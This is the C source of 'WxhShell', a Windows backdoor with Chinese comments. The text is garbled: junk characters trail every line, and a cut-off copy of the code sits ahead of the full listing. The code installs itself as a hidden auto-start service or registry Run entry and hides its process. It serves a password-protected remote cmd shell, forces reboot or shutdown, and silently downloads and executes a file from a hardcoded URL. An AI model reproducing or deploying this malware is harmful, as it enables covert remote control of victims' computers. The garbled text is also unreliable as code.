    closesocket(wsh); >j5,Z]  
    ExitThread(0); h8R3N?S3#  
    } R$[nYw  
    break; XwI~ 0  
    } m 2tw[6M  
  // 关机 6??o(ziK$  
  case 'd': { d4y?2p ?3  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5U%J,W  
    if(Boot(SHUTDOWN)) b=V"$(Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); , 7` /D  
    else { !Q-h#']~L  
    closesocket(wsh); V L^.7U  
    ExitThread(0); o+9b%I^1V  
    } %[1\d)  
    break; 608}-J=3#  
    } c~_nO d  
  // 获取shell 96L-bBtyY  
  case 's': { 1|]IWX|  
    CmdShell(wsh); .9":Ljs(L  
    closesocket(wsh); 6Z5X?B  
    ExitThread(0); Ino$N|G[  
    break; i5f8}`w  
  } tyEa5sy4  
  // 退出 (s:ihpI  
  case 'x': { cr}T ? $\K  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); v|\<N!g  
    CloseIt(wsh); (lNV\Za  
    break; B =EI&+F+  
    } |rjHH<  
  // 离开 rV yw1D  
  case 'q': { uL\b*rI  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); n*'i{P]  
    closesocket(wsh); 79DzrLu  
    WSACleanup(); }rWEa^  
    exit(1); AXnuXa(j  
    break; }01c7/DRP<  
        } (d> M/x?W  
  } {B!LhvYAH  
  } e(e_p#  
F&tU^(7<  
  // 提示信息 ~}lYp^~:J  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y4@zi"G  
} UR3qzPm!0e  
  } w^ AY= Fc  
9.:]eL  
  return; Su4&qY  
} $#ve^.VHv  
mJ_ 5Vt=  
// shell模块句柄 eD(;W n  
int CmdShell(SOCKET sock) $ \yZ;Z:  
{  wZ(H[be  
STARTUPINFO si; Z<yLu'48)A  
ZeroMemory(&si,sizeof(si)); ab}Kt($  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /?ZO-]q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4# L}&  
PROCESS_INFORMATION ProcessInfo; KT 4h3D`,  
char cmdline[]="cmd"; 9wTN *y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); tj' xjX  
  return 0; Q[vQT?J7  
} Y94 ^mt-  
}&*wJ]j`L  
// 自身启动模式 bwC~  
int StartFromService(void) RXi/&'+H  
{ wHT]&fZ  
typedef struct j`D%Wx_  
{ h 7P<3m}  
  DWORD ExitStatus; s3/iG37K  
  DWORD PebBaseAddress; Uh w:XV@m  
  DWORD AffinityMask; ? PI2X.6  
  DWORD BasePriority; FwjmC%iY  
  ULONG UniqueProcessId; *el~sor;S  
  ULONG InheritedFromUniqueProcessId; NimW=X;c  
}   PROCESS_BASIC_INFORMATION; nOCCOTf  
0| }]=XN^  
PROCNTQSIP NtQueryInformationProcess; :~{Nf-y0`1  
lEYAq'=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !U "?vSl  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; xU!eT'Y  
.N>Th/K8  
  HANDLE             hProcess; 8#{DBWU  
  PROCESS_BASIC_INFORMATION pbi; [S_qi,  
T&q0TBT  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); J Q% D6b  
  if(NULL == hInst ) return 0; {8pN]=SaJ~  
_)U.5f<   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6b wzNY 7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); K(3_1*e  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); | zyO;  
=L]GQ=d  
  if (!NtQueryInformationProcess) return 0; >X_5o^s2s  
tJvs ?eZ)  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); J=t@2  
  if(!hProcess) return 0; rQsYt/  
>3?p23|;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )Y &RMYy  
fZgEJsr  
  CloseHandle(hProcess); 4de:hE   
!dV2:`|+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); w(oi6kg  
if(hProcess==NULL) return 0; 928uGo5  
{fI"p;|  
HMODULE hMod; x(+H1D\W   
char procName[255]; ^N&@7s  
unsigned long cbNeeded; I&9Itn p$  
Y[rRz6.*(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +`f3_Xd  
_$P1N^}Zs  
  CloseHandle(hProcess); s3[\&zt  
jdX *  
if(strstr(procName,"services")) return 1; // 以服务启动 Dnp><%  
[.'9Sw  
  return 0; // 注册表启动 o/hj~;(]  
} WRp0.  
lSG]{  
// 主模块 uH |:gF^  
int StartWxhshell(LPSTR lpCmdLine) 9/JB n  
{ 7d^ ~.F  
  SOCKET wsl; b ;>?m  
BOOL val=TRUE; fb8)jd'~}O  
  int port=0; /RI"a^&9A  
  struct sockaddr_in door; 8?LHYdJ  
l\WN  
  if(wscfg.ws_autoins) Install(); PYiO l  
.dsB\ C  
port=atoi(lpCmdLine); wpg7xx!  
* .g[vCy  
if(port<=0) port=wscfg.ws_port; :3[;9xCHj  
TPn#cIPG  
  WSADATA data; 0"{-<Wot}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7U!-_)n{  
_+OCI%=:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9t!Agxm  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "fC>]iA8I  
  door.sin_family = AF_INET; W[:CCCDL  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); XXA.wPD-  
  door.sin_port = htons(port); <;*w97n  
yN/g;bQ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Q^8/"aV\  
closesocket(wsl); M'VJE|+t  
return 1; Z^Yy sf  
} 3oV2Ek<d  
(}rBnD  
  if(listen(wsl,2) == INVALID_SOCKET) { iB5q"hoZC  
closesocket(wsl); V  n+a-v  
return 1; m'-QVZ{(M%  
} aeDhC#h  
  Wxhshell(wsl); Z23T 2  
  WSACleanup(); UrO& K]Z  
1a mEQ  
return 0; 4K ]*bF44  
@hwNM#>`  
} yxi&80$  
s4j]kH  
// 以NT服务方式启动 KquuM ]5S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) h]vEXWpG]  
{ P`avn  
DWORD   status = 0; u$FL(m4  
  DWORD   specificError = 0xfffffff; Zs8]A0$  
fmD~f  
  serviceStatus.dwServiceType     = SERVICE_WIN32; S f6%A  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; bokr,I3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; z4(`>z2a  
  serviceStatus.dwWin32ExitCode     = 0; }$[@*  
  serviceStatus.dwServiceSpecificExitCode = 0; 7yjun|Lt}X  
  serviceStatus.dwCheckPoint       = 0; `KZu/r-M9  
  serviceStatus.dwWaitHint       = 0; ]L2b|a3  
CM7NdK?I  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _SkiO }c8  
  if (hServiceStatusHandle==0) return; uzT+,  
N 'n0I^Y1A  
status = GetLastError(); ' 6)Yf}I  
  if (status!=NO_ERROR) zG{jRth  
{ QNXoAx%I  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; X"9N<)C  
    serviceStatus.dwCheckPoint       = 0; 1CR\!?  
    serviceStatus.dwWaitHint       = 0; {jv+ J L"5  
    serviceStatus.dwWin32ExitCode     = status; 5$Kd<ky  
    serviceStatus.dwServiceSpecificExitCode = specificError; L)4~:f)B  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |UB)q5I  
    return; |!/+ T^u  
  } :iGK9I  
X{(?p=]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; a:OMI  
  serviceStatus.dwCheckPoint       = 0; K#'$_0.  
  serviceStatus.dwWaitHint       = 0; 22;B:  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); i8p$wf"aW  
} vxug>2  
VFMn"bYOB  
// 处理NT服务事件,比如:启动、停止 P#Whh  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \B:k|Pw6~  
{ 5%4yUd#b  
switch(fdwControl) 3ZI:EZ5  
{ oRJ!TAbD  
case SERVICE_CONTROL_STOP: O}(sn  
  serviceStatus.dwWin32ExitCode = 0; <6s@eare8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; w^=(:`  
  serviceStatus.dwCheckPoint   = 0; t: oQHhO?  
  serviceStatus.dwWaitHint     = 0; J}+N\V~  
  { gs7_Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); P;K LN9/4  
  } }_F:]lI*R  
  return; Lb?q5_  
case SERVICE_CONTROL_PAUSE: A:D9qp  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _ker,;{9C  
  break; Yyd]s\W  
case SERVICE_CONTROL_CONTINUE: wjZ Q.T!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; GmE`YW  
  break; Z_edNf }|  
case SERVICE_CONTROL_INTERROGATE: [b&V^41W  
  break; /R?[/`)f&  
}; v=+3AW-|v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >,tJq %  
} sa _J6~  
J] w3iYK  
// 标准应用程序主函数 T8)X?>CIW  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3$Vx8:Rhdn  
{ -ah)/5j  
S:Jg#1rww-  
// 获取操作系统版本 ]=ZPSLuEm%  
OsIsNt=GetOsVer(); 'h 7x@[|  
GetModuleFileName(NULL,ExeFile,MAX_PATH); if*~cPnN  
aMxj{*v7  
  // 从命令行安装 tQYV4h\Qj  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6V ncr}  
08{^Ksg  
  // 下载执行文件 h-sO7M0E]  
if(wscfg.ws_downexe) { 63_#*6Pv28  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :VWN/m  
  WinExec(wscfg.ws_filenam,SW_HIDE); w ^^l,  
} O!hp=`B,jf  
`B&=ya|bl  
if(!OsIsNt) { jcvq:i{  
// 如果时win9x,隐藏进程并且设置为注册表启动 )V+/@4  
HideProc(); KaS*LDzw  
StartWxhshell(lpCmdLine); ZXkrFA |  
} "L`BuAB  
else [u=yl0f  
  if(StartFromService()) Y2tBFeWY  
  // 以服务方式启动 p:$kX9mT&  
  StartServiceCtrlDispatcher(DispatchTable); s-(c-E09  
else _V e)M%  
  // 普通方式启动 D| <_96_m  
  StartWxhshell(lpCmdLine); BNA1"@9q  
(3Xs  
return 0; [{R>'~  
} Z]WX 7d  
__s'/ 6u  
|,S]EHIy  
nUVk;0at  
=========================================== w-$iKtb.  
(x@J@ GP*  
TuPD5-wB&  
F|/6;&*?M  
;@Z1y  
lj8ficANo  
" S!x;w7j  
?azLaAG  
#include <stdio.h> RJd*(!y  
#include <string.h> 5-k gGOt  
#include <windows.h> _ W#Km  
#include <winsock2.h> &iq'V*+-\  
#include <winsvc.h> WA1yA*S  
#include <urlmon.h> 4+nZ4a>LH?  
|+JO]J#bc  
#pragma comment (lib, "Ws2_32.lib") )c1Pj#|  
#pragma comment (lib, "urlmon.lib") py':36'  
6vxRam6[??  
#define MAX_USER   100 // 最大客户端连接数 WlY\R>x#  
#define BUF_SOCK   200 // sock buffer n9 FA` e  
#define KEY_BUFF   255 // 输入 buffer 7\$b%A  
cyP+a  
#define REBOOT     0   // 重启 xh CQ Rw  
#define SHUTDOWN   1   // 关机 uPN^o.,/.  
I![/bwObG  
#define DEF_PORT   5000 // 监听端口 m@*aA}69  
e]ST0J"  
#define REG_LEN     16   // 注册表键长度 TOgH~R=  
#define SVC_LEN     80   // NT服务名长度 8tf>G(I{  
]]`[tVaFr  
// 从dll定义API Z,\(bW qF  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); N%q{CYF6  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;14Q@yrZ0  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); fhR u-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]5:[6;wS  
IG;= |  
// wxhshell配置信息 Oml3=TV  
struct WSCFG { [T)>RF  
  int ws_port;         // 监听端口 >Wx9a"H^(  
  char ws_passstr[REG_LEN]; // 口令 `mYp?N jR_  
  int ws_autoins;       // 安装标记, 1=yes 0=no [AFGh L+t3  
  char ws_regname[REG_LEN]; // 注册表键名 V4CA*FEA  
  char ws_svcname[REG_LEN]; // 服务名 Y#-c<o}f  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 xO %yjG=  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 -iW>T5f  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 qJK9C `T%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 4AvIU!0w  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Z\QN n  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3m21n7F4*  
/:BC<]s  
}; Uvi@HB HJ  
*Sbc 8Y  
// default Wxhshell configuration z Z~t ,>  
struct WSCFG wscfg={DEF_PORT, l ObY  
    "xuhuanlingzhe", H15!QxD#  
    1, &`>dY /Y  
    "Wxhshell", p<Tg}fg  
    "Wxhshell", GMLx$?=j  
            "WxhShell Service", yDe*-N\'W  
    "Wrsky Windows CmdShell Service", L"?4}U:  
    "Please Input Your Password: ", L8zMzm=-  
  1, x 2l}$(7  
  "http://www.wrsky.com/wxhshell.exe", $Op:-aW&  
  "Wxhshell.exe" 8Jp?@qt=$  
    }; $(OL#>9Ly  
G%i&C)jZ  
// 消息定义模块 ~"wnlG-:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [{T/2IGq  
char *msg_ws_prompt="\n\r? for help\n\r#>"; %4#ChlXB  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9n\v{k=  
char *msg_ws_ext="\n\rExit."; c^&:':Z%'  
char *msg_ws_end="\n\rQuit."; {S%;By&[  
char *msg_ws_boot="\n\rReboot..."; KM^}d$x}s  
char *msg_ws_poff="\n\rShutdown..."; X.q#ZpK  
char *msg_ws_down="\n\rSave to "; j *N^.2  
6/(Z*L"~6k  
char *msg_ws_err="\n\rErr!"; 1OqVNp%K  
char *msg_ws_ok="\n\rOK!"; ;t@^Z_z,CR  
Tn38]UL  
char ExeFile[MAX_PATH]; NX]6RZr-  
int nUser = 0; (15.?9  
HANDLE handles[MAX_USER]; NB(  GE  
int OsIsNt; '$ G%HUn  
9N) Ea:N  
SERVICE_STATUS       serviceStatus; C8:y+pH_U;  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; )^E6VD&6  
%6@m~;c0  
// 函数声明 pf=CP%L  
int Install(void); $"=0{H.?  
int Uninstall(void); w %6 L"  
int DownloadFile(char *sURL, SOCKET wsh); Fy_~~nI0  
int Boot(int flag); d+8|aS<A  
void HideProc(void); sP8_Y,  
int GetOsVer(void);  |FFM Q"  
int Wxhshell(SOCKET wsl); RT9%E/m  
void TalkWithClient(void *cs); j2n 4; m  
int CmdShell(SOCKET sock); 3}.OSt'=  
int StartFromService(void); Y[;Z7p  
int StartWxhshell(LPSTR lpCmdLine); lgHzI(  
. ve a[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); G#'G9/Tm  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); AIA4c"w.EO  
'1 \UFz  
// 数据结构和表定义 f{]W*!VV-  
SERVICE_TABLE_ENTRY DispatchTable[] = GMob&0l8_  
{ )f%Q7  
{wscfg.ws_svcname, NTServiceMain}, S8]YS@@D   
{NULL, NULL} 5*$z4O:Aa  
}; [{+ZQd  
#Z_f/@b  
// 自我安装 ADA*w 1  
int Install(void) oR<;Tr~{q  
{ -$D#u  
  char svExeFile[MAX_PATH]; m W4tW  
  HKEY key; @Z9>E+udQ  
  strcpy(svExeFile,ExeFile); mi sPJO&QD  
DJRr  
// 如果是win9x系统,修改注册表设为自启动 )Vx C v  
if(!OsIsNt) { 6wyhL-{:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 42DB0+_wz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ob(~4H-  
  RegCloseKey(key); "LVN:|!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +n<;);h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 45Q#6Bt E  
  RegCloseKey(key); 2|8$@*-\  
  return 0; k jR-p=}  
    } hB]<li)"C  
  } Ng1[y4R}  
} X.ZY1vO  
else { Z3A"GWY  
-/6Ms%O  
// 如果是NT以上系统,安装为系统服务 5 |oi*b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); yrrP#F  
if (schSCManager!=0) Y2y = P  
{ BUEV+SZ4  
  SC_HANDLE schService = CreateService I%ZSh]On  
  ( M0RVEhX  
  schSCManager, B+=Xb;p8  
  wscfg.ws_svcname, \YF'qWB  
  wscfg.ws_svcdisp, fu`|@S  
  SERVICE_ALL_ACCESS, brt` oR  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Cqw`K P  
  SERVICE_AUTO_START, J`A )WsKkb  
  SERVICE_ERROR_NORMAL, xgB-m[Xi  
  svExeFile, ' C1yqkIa`  
  NULL, xO'xZ%cUI  
  NULL, j|(bdTZY:  
  NULL, `[.4SIah  
  NULL, o}lA\A  
  NULL Ns`:=  
  ); yvKKE  
  if (schService!=0) 1|#j/  
  { KHt#mQy)9  
  CloseServiceHandle(schService); 1VO>Bh.Wm  
  CloseServiceHandle(schSCManager); g6<D 1r  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0[SrRpD  
  strcat(svExeFile,wscfg.ws_svcname); BQ77 n2(@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { tumYZ)nW  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); i.>d#S  
  RegCloseKey(key); 17;qJ_T)  
  return 0; 4ew#@  
    } v@]\  P<E  
  } QU^?a~r  
  CloseServiceHandle(schSCManager); U^xtS g  
} `v1~nNoY  
} {DGnh1  
*[wj )  
return 1; L@LT*M  
} 83YQ c  
U~[ tp1Z)  
// 自我卸载 wE09%  
int Uninstall(void) zRF +D+  
{ $8Y|& P  
  HKEY key; wg 6  
_,]@xFCOH  
if(!OsIsNt) { 3!KEk?I]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }Fgp*x-G  
  RegDeleteValue(key,wscfg.ws_regname); &$E.rgtg  
  RegCloseKey(key); )u(Dqu\t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bmGtYv  
  RegDeleteValue(key,wscfg.ws_regname); GxcW^{;  
  RegCloseKey(key); 8AVG pL  
  return 0; :l?/]K  
  } B"fKv0  
} /kK:{  
} Hqm1[G)  
else { BvV!?DY4  
)qV&sru.$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); LDv>hzo  
if (schSCManager!=0) )1S"D~j-  
{ \{M/Do:  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %W]" JwRu  
  if (schService!=0) ^G]H9qY- e  
  { D<XRu4^;  
  if(DeleteService(schService)!=0) { y5lhmbl: e  
  CloseServiceHandle(schService); !7fVO2m T  
  CloseServiceHandle(schSCManager); 9Kd:7@U  
  return 0; s~MCt|a  
  } qz/d6-0"  
  CloseServiceHandle(schService); K yFR;.F-  
  } Y!L<& sl   
  CloseServiceHandle(schSCManager); nfzKUJY  
} DFFB:<  
} W0>fu>  
%oEvp{I  
return 1; \Zms  
} b!xm=U  
%G>V .d  
// 从指定url下载文件 9J'3b <  
int DownloadFile(char *sURL, SOCKET wsh) 0vm}[a4+i;  
{ C1KO]e>  
  HRESULT hr; )!(etB=`y  
char seps[]= "/"; $*i"rlJC  
char *token; t.E3Fh!o  
char *file; 3teanU`  
char myURL[MAX_PATH]; MW6KEiQ"  
char myFILE[MAX_PATH]; @ag*zl  
!~~j&+hK\  
strcpy(myURL,sURL); vs~lyM/  
  token=strtok(myURL,seps); l]o)KM<  
  while(token!=NULL) <"XDIvpc%L  
  { |]9Z#lv+I  
    file=token; qEbzF#a-:  
  token=strtok(NULL,seps); X}gnO83  
  } v/B:n   
CAD:ifV  
GetCurrentDirectory(MAX_PATH,myFILE); #UpxF?A(  
strcat(myFILE, "\\"); j,/t<@S>  
strcat(myFILE, file); |6.1uRFE2  
  send(wsh,myFILE,strlen(myFILE),0); %d\|a~p:  
send(wsh,"...",3,0); d4#Ra%   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .4NQ2k1io  
  if(hr==S_OK) .5~W3v <  
return 0; GI:$(<  
else Xqac$%[3  
return 1; C8 b%r|^#  
yNb :zoT  
} bu2'JIDR  
20t</lq.  
// 系统电源模块 @Sl!p)  
int Boot(int flag) p3NTI/-  
{ `(9B(&t^,  
  HANDLE hToken; Q b|.;_  
  TOKEN_PRIVILEGES tkp; (Q$]X5L  
HGgw<Os-k  
  if(OsIsNt) { plY`lqm  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?Ze3t5Ll  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,A>i)brc  
    tkp.PrivilegeCount = 1; ] PnE%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; LEJ7.82  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); afZPju"-  
if(flag==REBOOT) { 995^[c1o6  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) D^Z~>D6  
  return 0; "Jp6EL%  
} z^f-MgWG  
else { `f^`i~c\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &\C{,:[  
  return 0; (8r?'H8ZO  
} 7<=7RPWmD  
  } "*@iXJxv5  
  else { Mdh(Mp(w  
if(flag==REBOOT) { Lh &L5p7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *TuoC5  
  return 0; _W: S>ij(  
} |jV4]7Luq  
else { 'FBvAk6  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^3`98y.Q  
  return 0; @ %z5]w  
} &%Hj.  
} e<^tY0rR&  
0EXAdRR  
return 1; 2|~& x~  
} -X4`,0y%{O  
B`hxF(_p/  
// win9x进程隐藏模块 /$rS0@p  
void HideProc(void) Smk]G))o{  
{ =]E1T8|  
wH#k~`M  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #U/B,`= >  
  if ( hKernel != NULL ) #G#gB   
  { yB. 6U56  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3iWLo Qm  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); zMrZ[AU  
    FreeLibrary(hKernel); n.l p ena  
  } ijhMJ?3  
/gFyow1W  
return; y+ :<  
} `%ymg8^  
#8/Z)-G  
// 获取操作系统版本 Q}2w~Cn\S  
int GetOsVer(void) Q|G[9HBI  
{ <E\BKC%M  
  OSVERSIONINFO winfo; 3!$rp- !<)  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); b'-gy0  
  GetVersionEx(&winfo); _F3vC#  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) cRg$~rYd  
  return 1; 8'cDK[L  
  else mI`dZ3h  
  return 0; 3 oWCQ  
} ^$#Q_Y|  
AARhGx|L<  
// 客户端句柄模块 x`eYCi  
int Wxhshell(SOCKET wsl) &FanD   
{ w|5}V6WD  
  SOCKET wsh; vOP[ND=T  
  struct sockaddr_in client; ZK'I$p]b  
  DWORD myID; /cjf 1Dc  
OIWo* %  
  while(nUser<MAX_USER) c&_3"2:  
{ LQQhn{[D  
  int nSize=sizeof(client); {jq-dL  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]JM9 ^F  
  if(wsh==INVALID_SOCKET) return 1; W4|;JmT.r  
I%s/h4x^B[  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9%dNktt  
if(handles[nUser]==0) WMC6 dD_6e  
  closesocket(wsh); 4i19HD_  
else ``\H'^{B  
  nUser++; ><DE1tG  
  } R`<E3J\*  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); N,1wfOE  
{oZ]1Qf_  
  return 0;  ~.Gk:M  
} lwB!ti  
w])Sz*J  
// 关闭 socket ](ninSX1w  
void CloseIt(SOCKET wsh) :H87x?e[  
{ \E30.>%,  
closesocket(wsh); }qg!Um0  
nUser--; 2,fB$5+  
ExitThread(0); 8;5/_BwMu  
} &V ;a:  
B?4\IXek  
// 客户端请求句柄 TvP# /qGgG  
void TalkWithClient(void *cs) WZr~Pb9  
{ g=%&p?1@E  
i>~?XVU  
  SOCKET wsh=(SOCKET)cs; %|I|Mc  
  char pwd[SVC_LEN]; rx"zqm9 }u  
  char cmd[KEY_BUFF]; /IC' R"V a  
char chr[1]; hG67%T'}A  
int i,j; :s5g6TR  
g[$B9 0  
  while (nUser < MAX_USER) { uu:)jxi  
t&xx-4  
if(wscfg.ws_passstr) { i~;8'>:|,M  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 40<&0nn  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3%} Ma,  
  //ZeroMemory(pwd,KEY_BUFF); Q^k# ?j#  
      i=0; }:%pOL n  
  while(i<SVC_LEN) { QJ>>&`{ ,  
x6t;=  
  // 设置超时 Yx"z&J9 p  
  fd_set FdRead; ? Z=v&d[o)  
  struct timeval TimeOut; @2mP  
  FD_ZERO(&FdRead); #^ 9;<@M  
  FD_SET(wsh,&FdRead); vf2K2\fn  
  TimeOut.tv_sec=8; No7Q,p  
  TimeOut.tv_usec=0; Bag#An1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #jX>FXo  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &Yg/ 08*  
P5>CSWy%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a5-\=0L~  
  pwd=chr[0]; /Uc*7Y5j  
  if(chr[0]==0xd || chr[0]==0xa) { }]I?vyQ#V  
  pwd=0; L,6Y=?  
  break; {#,FlR2  
  } K>[H@|k\k  
  i++; Bu1z$#AC  
    } ~S3eatM$9  
i7rq;t<  
  // 如果是非法用户,关闭 socket 0R& U18)y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Nj0)/)<r+  
} =@2V#X]M*  
uNbA>*c4M  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {n]sRz  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kre&J  
`dP+5u!  
while(1) { \#aVu^`eX  
F :S,{&jB  
  ZeroMemory(cmd,KEY_BUFF); ^%&x{F.  
D,\=zX;  
      // 自动支持客户端 telnet标准   !9, pX  
  j=0; s{e(- 7'  
  while(j<KEY_BUFF) { l,.?-|Poa  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U[b;#Y1X  
  cmd[j]=chr[0]; _m],(J=,z  
  if(chr[0]==0xa || chr[0]==0xd) { )\-";?sYky  
  cmd[j]=0; (L$~ zw5gr  
  break; |8 bO5l:  
  } {ah=i8$  
  j++; * Xoscc  
    } It4z9Gh  
C8EC?fSQ  
  // 下载文件 VA'X!(Cv  
  if(strstr(cmd,"http://")) { (0W}e(D8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ht)nx,e=  
  if(DownloadFile(cmd,wsh)) Da [C'm=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jv <$AI  
